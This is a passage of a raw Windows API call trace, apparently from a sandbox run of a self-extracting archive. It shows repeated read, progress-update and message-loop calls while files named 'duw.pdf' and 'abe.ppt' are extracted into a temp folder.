lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.199] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.199] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.199] GetTickCount () returned 0x1fab2 [0068.199] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.199] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.199] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.199] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.199] GetTickCount () returned 0x1fab2 [0068.199] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.199] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.199] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.199] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.199] GetTickCount () returned 0x1fab2 [0068.199] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.199] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.199] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.199] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.199] GetTickCount () returned 0x1fab2 [0068.199] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.199] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.199] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.199] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.199] GetTickCount () returned 0x1fab2 [0068.199] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.199] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.199] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.199] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.199] GetTickCount () returned 0x1fab2 [0068.200] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.200] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.200] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.200] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.200] GetTickCount () returned 0x1fab2 [0068.200] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.200] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.200] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.200] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.200] GetTickCount () returned 0x1fab2 [0068.200] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.200] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.200] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.200] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.200] GetTickCount () returned 0x1fab2 [0068.200] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.200] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.200] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.200] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.200] GetTickCount () returned 0x1fab2 [0068.200] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.200] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.200] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.200] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.200] GetTickCount () returned 0x1fab2 [0068.200] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.200] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.200] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.200] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.200] GetTickCount () returned 0x1fab2 [0068.200] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.200] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.200] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.200] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.200] GetTickCount () returned 0x1fab2 [0068.200] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.200] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.200] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.200] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.200] GetTickCount () returned 0x1fab2 [0068.201] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.201] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.201] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.201] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.201] GetTickCount () returned 0x1fab2 [0068.201] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.201] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.201] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.201] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.201] GetTickCount () returned 0x1fab2 [0068.201] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.201] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.201] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.201] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.201] GetTickCount () returned 0x1fab2 [0068.201] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.201] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.201] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.201] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.201] GetTickCount () returned 0x1fab2 [0068.201] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.201] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.201] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.201] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.201] GetTickCount () returned 0x1fab2 [0068.201] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.201] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.201] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.201] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.201] GetTickCount () returned 0x1fab2 [0068.201] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.201] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.201] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.201] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.201] GetTickCount () returned 0x1fab2 [0068.201] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.201] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.201] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.201] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.202] GetTickCount () returned 0x1fab2 [0068.202] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.202] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.202] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.202] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.202] GetTickCount () returned 0x1fab2 [0068.202] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.202] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.202] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.202] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.202] GetTickCount () returned 0x1fab2 [0068.202] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.202] ReadFile (in: hFile=0x1c, lpBuffer=0x27042e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.202] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.202] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.202] GetTickCount () returned 0x1fab2 [0068.202] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.202] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x200, lpOverlapped=0x0) returned 1 [0068.203] GetTickCount () returned 0x1fab2 [0068.203] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.203] SetFilePointer (in: hFile=0x1c, lDistanceToMove=865270, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd33f6 [0068.203] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.203] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.203] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.203] CloseHandle (hObject=0x138) returned 1 [0068.203] SetFileAttributesA (lpFileName="duw.pdf", dwFileAttributes=0x20) returned 1 [0068.204] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd33f6 [0068.204] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.204] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.204] OemToCharA (in: pSrc="abe.ppt", pDst=0x179cc0 | out: pDst="abe.ppt") returned 1 [0068.204] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="abe.ppt", cchCount2=1) returned 1 [0068.204] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="abe.ppt", cchCount2=6) returned 1 [0068.204] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="abe.ppt", cchCount2=-1) returned 1 [0068.204] SetFilePointer (in: hFile=0x1c, lDistanceToMove=865314, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd3422 [0068.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="abe.ppt") returned 8 [0068.204] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4192b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.204] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting abe.ppt") returned 18 [0068.204] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting abe.ppt") returned 1 [0068.205] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.205] OemToCharBuffA (in: lpszSrc="a", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="a") returned 1 [0068.205] CharToOemBuffA (in: lpszSrc="A", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="A") returned 1 [0068.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="abe.ppt") returned 8 [0068.205] FindFirstFileW (in: lpFileName="abe.ppt", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.205] GetLastError () returned 0x2 [0068.205] GetFileAttributesA (lpFileName="abe.ppt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\abe.ppt")) returned 0xffffffff [0068.205] CreateFileA (lpFileName="abe.ppt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\abe.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.205] GetFileType (hFile=0x138) returned 0x1 [0068.205] SetFilePointer (in: hFile=0x138, lDistanceToMove=556, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x22c [0068.205] SetEndOfFile (hFile=0x138) returned 1 [0068.205] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.206] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1c8, lpOverlapped=0x0) returned 1 [0068.206] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.206] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0068.206] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0068.206] TranslateMessage (lpMsg=0x17154c) returned 0 [0068.206] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0068.206] GetTickCount () returned 0x1fac2 [0068.206] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.206] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.206] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.206] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.207] GetTickCount () returned 0x1fac2 [0068.207] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.207] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.207] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.207] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.207] GetTickCount () returned 0x1fac2 [0068.207] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.210] ReadFile (in: hFile=0x1c, lpBuffer=0x270450, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270450*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.249] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.251] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, 